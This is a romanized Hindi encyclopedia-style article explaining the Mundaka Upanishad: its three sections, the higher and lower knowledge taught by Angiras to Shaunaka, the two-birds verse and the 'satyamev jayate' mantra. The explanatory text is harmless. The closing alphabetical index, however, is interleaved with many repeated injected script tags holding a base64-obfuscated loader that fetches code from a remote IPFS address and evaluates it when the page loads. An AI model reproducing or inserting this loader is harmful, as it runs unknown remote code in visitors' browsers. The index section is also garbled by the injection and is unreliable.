मुण्डकोपनिषद

mundakopanishad atharvaved ki shaunakiy shakha se sambandhit hai. isamean akshar-brahm 'Om: ka vishad vivechan kiya gaya hai. ise 'mantropanishad' nam se bhi pukara jata hai. isamean tin mundak haian aur pratyek mundak ke do-do khand haian tatha kul chauansath mantr haian. 'mundak' ka arth hai- mastishk ko atyadhik shakti pradan karane vala aur use avidya-roopi andhakar se mukt karane vala. is upanishad mean maharshi aangira ne shaunak ko 'para-apara' vidya ka jnan karaya hai. bharat ke rashtriy chihn mean aankit shabd 'satyamev jayate' mundakopanishad se hi liye ge haian.

pratham mundak

is mundak mean 'brahmavidya', 'para-apara vidya' tatha 'brahm se jagath ki utpatti', 'yajn aur usake phal', 'bhogoan se virakti' tatha 'brahmabodh' ke lie brahmanishth guru aur adhikari shishy ka ullekh kiya gaya hai.
pratham khand

is khand mean aangira rrishi brahmavidya ki parampara ka prarambh mean ullekh karate haian. 'brahma' sabhi devoan mean pratham dev hai. unhoanne apane jyeshth putr atharva ko brahmavidya ka upadesh diya. atharva ne aangir ko, aangir ne satyavah ko, satyavah ne aangiras ko var aangiras ne shaunak ko yah vidya pradan ki.
shaunak sadgrihasth tha. usane maharshi aangiras se jakar poochha ki vah kaun hai, jisake jan lene par sab kuchh jan liya jata hai?
para-apara vidya— maharshi aangiras ne shaunak ko upadesh dete hue 'para-apara' vidya ko janane ka mahattv bataya ki inhean janane ke bad kisi any ko janane ki avashyakata nahian rahati hai.
para yaugik sadhana hai aur apara adhyatmik jnan hai. jis vidya se 'aksharabrahm' ka jnan hota hai, vah 'para' vidya hai aur jisase rrigh yajush, sam, atharv, shiksha, kalp, vyakaran, nirookt, chhand aur jyotish ka jnan hota hai, vah 'apara' vidya hai.
'para' vidya mean yog-sadhana dvara manav avinashi paramatma tak pahuanchata hai aur 'apara' vidya dvara adhyatmik v adhibhautik jnan ko shabdik roop mean jana jata hai.
prarambh mean karanabhoot 'aksharabrahm' hi tha, jisane is jagath ko apani ichchha se utpann kiya. nana yoniyaan banayian, manushy banaya, usake karm nirdharit kiye, ann banaya, ann se pranoan ki pratishtha ki, pranoan se man banaya, man se us parabrahm tak pahuanchane ki jijnasa utpann ki. jo sarvajn hai, sarvavidh hai, usaka tap bhi jnan-yukt hota hai; kyoanki usi ne is charachar tatha nanaroopani srishti ki rachana ki hai.

dvitiy khand

is khand mean 'yajn,' arthat agnihotr ko manyata di gayi hai. yajn mean do ahutiyaan dene ki unhoanne bat ki hai- 'Om prajapate svaha' aur 'Om indray svaha, arthat samast prajaoan ke param aishvaryavan prabhu ke prati ham atm-samarpan karate haian.
mahan chaitanyatattv 'agni' (brahm), jo ham sabhi ka upasy hai, shraddhapoorvak use di gayi ahuti atyant kalyanakari hoti hai. jis agnihotr mean atm-samarpan ki bhavana nihit hoti hai aur jo nishkam bhav se kiya jata hai, usase samast laukik vasanaoan ka nash ho jata hai aur ahutiyaan pradan karane vala sadhak brahmalok mean anandaghan paramatma ka sannidhy prapt karata hai, parantu jo avidya-roopi andhakar se grasit hokar karmakand karate haian, ve moorkhoan ki bhaanti anek kashtoan ko sahan karate haian.
jisane yam-niyamoan adi ki sadhana se, apane chitt ko tamasik v rajasik vrittiyoan se door kar liya ho, aise jnanavan shishy ke pas ane par, guru ko use 'brahmavidya' ka upadesh avashy dena chahie.

dvitiy mundak

is mundak mean 'aksharabrahm' ki sarvavyapakata aur usaka samast brahmand ke sath sambandh sthapit kiya gaya hai.
pratham khand
is khand mean maharshi 'brahm' aur 'jagat' ki satyata ko prakat karate haian. jaise pradipt agni se sahastroan chinagariyaan prakat hoti haian aur phir usi mean lin ho jati haian, usi prakar us 'brahm' se anek prakar ke bhav prakat hote haian aur phir usi mean lin ho jate haian. vah prakashaman, amoortaroop brahm bhitar-bahar sarvatr vidyaman hai. vah ajanma, pran-rahit, man-rahit evan ujjval hai aur avinashi atma se bhi utkrisht hai-
divyo hyamoort: purush: sabahyabhyantaro hyaj:.
aprano hyamana: shubhro hyaksharatparat: par:॥2॥
vastut: isi avinashi brahm se pran, man evan samast indriyaan utpann hoti haian. isi se jal, vayu, agni, akash aur vishv ko dharan karane vali prithivi utpann hoti hai.
age ke shlokoan mean rrishivar us parabrahm ka atyant alankarik varnan karate hue kahate haian ki agni brahm ka mastak hai, soory-chandr usake netr haian, dishaane aur ved-vaniyaan usake kan haian, vayu usake pran haian, sampoorn vishv usaka hriday hai,prithvi usake pair haian. vah brahm sampoorn praniyoan mean antaratma roop mean pratishthit hai. at: yah sara sansar us paramapurush mean hi sthit hai.
dvitiy khand
yah 'aksharabrahm' sabhi mean vyapt hai aur hriday-roopi gufa mean sthit hai. yah divy prakash vala hai. yah paramanuoan aur sookshmatam jivoan se bhi sookshm hai. samast lok-lokantar isamean nivas karate haian. yah avinashi brahm, jivan ka adhar, vani ka sar aur manasik sadhana ka lakshy hai. yah saty, amrit-tuly hai, param anand ka data hai. ise pana hi manav-jivan ka lakshy hai. yah 'pranav,' arthat 'Omkar' ka jap dhanush hai aur jivatma tir hai. is tir se hi us lakshy ka sandhan kiya jata hai. vah lakshy, jise bedhana hai, 'brahm' hai. usaka sandhan poori ekagrata ke sath kiya jana chahie.

is akhil brahmand mean sarvatr ek vahi hai. usi ka chetan svaroop amrit ka divy sarovar, anand ki aganit hiloroan se yukt hai. jo sadhak is amrit-sindhu mean gota lagaya hai, vah nishchit roop se amar ho jata hai.

tritiy mundak

is mundak mean 'jivatma' aur 'paramatma' ke sambandhoan ki vyapak charcha ki gayi hai. unaki upama ek hi vriksh par rahane vale do pakshiyoan se ki gayi hai. yah vriksh ki sharir hai, jisamean atma aur paramatma donoan nivas karate haian. ek apane karmoan ka phal khata hai aur doosara use dekhata rahata hai.
pratham khand
'atma' aur 'paramatma' ki upama vala yah mantr atyant prasiddh hai—
dva suparna sayuja sakhaya samanan vrikshan parishasvajate.
tayorany: pippalan svadvattyanashnannanyo abhichakashiti॥1॥ arthat sath-sath rahane tatha sakhya-bhav vale do pakshi ek hi vriksh (sharir) par rahate haian. unamean se ek us vriksh ke pippal (karmaphal) ka svad leta hai aur doosara (paramatma) nirahar rahate hue keval dekhata rahata hai.

sharir mean rahane vala 'jivatma' mohavash sabhi indriyoan ka upabhog karata hai, jabaki doosara keval drashtamatr hai. jab sadhak us pran-rooph paramatma ko jan leta hai, tab vah apani atma ko bhi un sabhi moh-bandhanoan tatha upabhogoan se alag karake, paramatma ke sath hi yog sthapit karata hai aur moksh ko prapt karata hai. saty ki hi sada jit hoti hai-

satyamev jayate nanritan satyen pantha vitato devayan:.
yenakramantyrishayo hyaptakama yatr satsatyasy paraman nidhanamh॥6॥ arthat saty ki hi vijay hoti hai, jhooth ki nahian. saty se hi devayan marg paripoorn hai. isake dvara hi kamana rahit rrishigan use (paramapad ko) prapt karate haian, jahaan saty ke shreshth bhandar-roop paramatma ka nivas hai.
vah brahm (paramatma) atyant mahanh hai aur divy anubhootiyoan vala hai. vah sahaj chintan ki simao se pare hai. usake lie nishkam aur satat sadhana karani p dati hai. vah kahian door nahian, hamare hriday mean virajaman hai. use man aur atma ke dvara hi paya ja sakata hai. nirmal ant:karan vala atmajnani use jis lok aur jis roop mean chahata hai, vah usi lok aur usi roop mean use prapt ho jata hai.
dvitiy khand

brahmajnani hone ki ichchha rakhane vale sadhak ko sarvapratham apani sampoorn indriyoan ka niyantran karana p data hai. indriy-nigrah ke uparant use apane sarvadhik chalayaman 'man' ko vash mean karana p data hai. tabhi use atma ka sakshatkar hota hai. atmajnan hone ke uparant hi sadhak brahmajnan ke path par agrasar hota hai.
jab atmajnani sadhak us nirmal aur jyotirmay brahm ke paramadham ko pahachan leta hai, to use usamean sampoorn vishv samahit hota hua dikhaee p dane lagata hai. nishkam bhav se paramatma ki sadhana karane vale viveki purush hi is nashvar sharir ke bandhan se mukt ho pate haian.
'atma' ko n to pravachanoan ke shravan se paya ja sakata hai, n kisi vishesh buddhi se. isaka arth yahi hai ki laukik jnan prapt karake, atmajnan prapt nahian hota. atmajnan chetanayukt hai. vah sadhak ki patrata dekhakar svayan hi apane svaroop ko prakat kar deta hai. kamana-rahit, vishuddh aur sahaj ant:karan vale sadhak hi param shant rahate hue paramatma ko prapt karane ki kshamata rakhate haian. viveki purush us sarvavyapi, sarvaroop parameshvar ko sarvatr prapt kar usi mean samahit ho jate haian.
jis prakar pravahaman nadiyaan apane nam-roop ko chho dakar samudr mean vilin ho jati haian, vaise hi jnani purush nam-roop se vimukt hokar us divy paramatma mean lin ho jate haian. use janane vala svayan hi brahm-roop ho jata hai. vah samast laukik-alaukik granthiyoan se mukt ho jata hai. use amaratv prapt ho jata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

sanbandhit lekh

shrutiyaan

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah